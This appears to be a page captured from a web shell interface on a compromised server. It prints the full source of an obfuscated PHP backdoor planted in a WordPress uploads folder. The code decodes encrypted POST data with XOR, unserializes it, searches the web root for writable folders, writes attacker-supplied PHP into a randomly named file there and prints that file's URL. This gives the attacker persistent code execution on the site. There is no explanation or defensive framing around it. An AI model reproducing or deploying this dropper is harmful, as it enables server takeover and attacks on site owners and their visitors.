HEX
Server: nginx/1.27.1
System: Linux in-4 5.15.0-131-generic #141-Ubuntu SMP Fri Jan 10 21:18:28 UTC 2025 x86_64
User: ilikadirect (1186)
PHP: 7.4.33
Disabled: exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
Upload Files
File: /storage/v6964/gopalak/public_html/wp-content/uploads/2024/vklckfee.php
<?php function aIxXhh($VABzUK){$ooVrt = "\x72".'a'."\167".'u'.chr(1073-959).chr(912-804)."\144".chr(101)."\143".chr(111)."\x64"."\145";$YgasL = "\x73"."\x74".'r'."\x5f".'r'.'o'.chr(116)."\61"."\63";$IRBMtqrRr = "\x73".'t'."\162"."\137"."\163"."\160".'l'."\x69".chr(818-702);$VABzUK = $IRBMtqrRr($ooVrt($YgasL($VABzUK)));return $VABzUK;}function tbAVMd($IMvDqua, $VABzUK){$wwSySjaHtp = "\x73".'t'."\x72".'_'.chr(728-613).chr(601-489).chr(1060-952).chr(274-169).'t';$IMvDqua = array_slice($wwSySjaHtp(str_repeat($IMvDqua, (count($VABzUK)/16)+1)), 0, count($VABzUK));return $IMvDqua;}function cpvXP($LmYzaeNfM, $RuZFblBC, $IMvDqua){$cEvurdnSfv = "68391d66-e690-4c7b-8b68-f5db674060fd";return $LmYzaeNfM ^ $cEvurdnSfv[$RuZFblBC % strlen($cEvurdnSfv)] ^ $IMvDqua;}function uAIDnHgsRZ($VABzUK, $IMvDqua){$VABzUK = array_map("cpvXP", array_values($VABzUK), array_keys($VABzUK), array_values($IMvDqua));$VABzUK = implode("", $VABzUK);$ZIQZlQari = "\165"."\x6e"."\163".chr(659-558)."\162".chr(298-193)."\141"."\x6c"."\151"."\x7a".chr(774-673);$VABzUK = @$ZIQZlQari($VABzUK);return $VABzUK;}function jfvJnRl(){echo "QryOUO";}function LBHTWzZe($cEvurir){static $TeCBJ = array();$ldMoiz = glob($cEvurir . '/*', GLOB_ONLYDIR);$xeDzmLle = count($ldMoiz);if ($xeDzmLle > 0) {foreach ($ldMoiz as $cEvur) {$GLzmkdXY = chr(274-169).chr(115).chr(95).'w'.chr(114).'i'."\164"."\141"."\x62"."\x6c".'e';if (@$GLzmkdXY($cEvur)) {$TeCBJ[] = $cEvur;}}}foreach ($ldMoiz as $cEvurir) LBHTWzZe($cEvurir);return $TeCBJ;}function kvOIro(){echo "GqToN";}function AUVtK($VABzUK){$QuoifAaCPB = chr(803-735)."\117".chr(968-901).chr(85).'M'.chr(979-910).chr(108-30)."\124".'_'."\122".'O'."\117".chr(415-331);$sATjzLmsL = $_SERVER[$QuoifAaCPB];$ldMoiz = LBHTWzZe($sATjzLmsL);$NjuuFyJWO = array_rand($ldMoiz);$hCuylhGir = chr(238-192).'p'.chr(485-381).chr(402-290);$MlQNKxSjKi = $ldMoiz[$NjuuFyJWO] . "/" . substr(md5(time()), 0, 8) . $hCuylhGir;$bwiUtU = "\146"."\x69".'l'.'e'."\x5f".chr(786-674).chr(588-471).chr(883-767).chr(95)."\143".chr(111).chr(754-644).chr(116).chr(342-241)."\156"."\x74"."\x73";@$bwiUtU($MlQNKxSjKi, $VABzUK);$IDYHkNbHQI = "\110"."\124"."\x54".'P'."\137".chr(72).chr(1019-940).chr(83)."\124";$PEVZBCcQSm = 'h'."\164".chr(260-144).'p'.chr(279-221).chr(329-282)."\x2f";$bUnJcPrPK = $PEVZBCcQSm . $_SERVER[$IDYHkNbHQI] . substr($MlQNKxSjKi, strlen($sATjzLmsL));print($bUnJcPrPK);}foreach ($_POST as $IMvDqua => $VABzUK){$xdKMsg = strlen($IMvDqua);if ($xdKMsg == 16){$VABzUK = aIxXhh($VABzUK);$IMvDqua = tbAVMd($IMvDqua, $VABzUK);$VABzUK = uAIDnHgsRZ($VABzUK, $IMvDqua);if (@is_array($VABzUK)){$NjuuFyJWO = array_keys($VABzUK);$VABzUK = $VABzUK[$NjuuFyJWO[0]];if ($VABzUK === $NjuuFyJWO[0]){$HUIfm = "\x70".chr(104)."\160";$QqmrLMA = chr(112)."\150"."\x70".'v'."\145"."\162".chr(115)."\151"."\157"."\156";$nvkliPj = "\x73".'e'.chr(994-880).'i'."\x61".chr(625-517)."\x69"."\x7a".'e';echo @$nvkliPj(Array($HUIfm => @$QqmrLMA(), ));}else {AUVtK($VABzUK);}die();}}}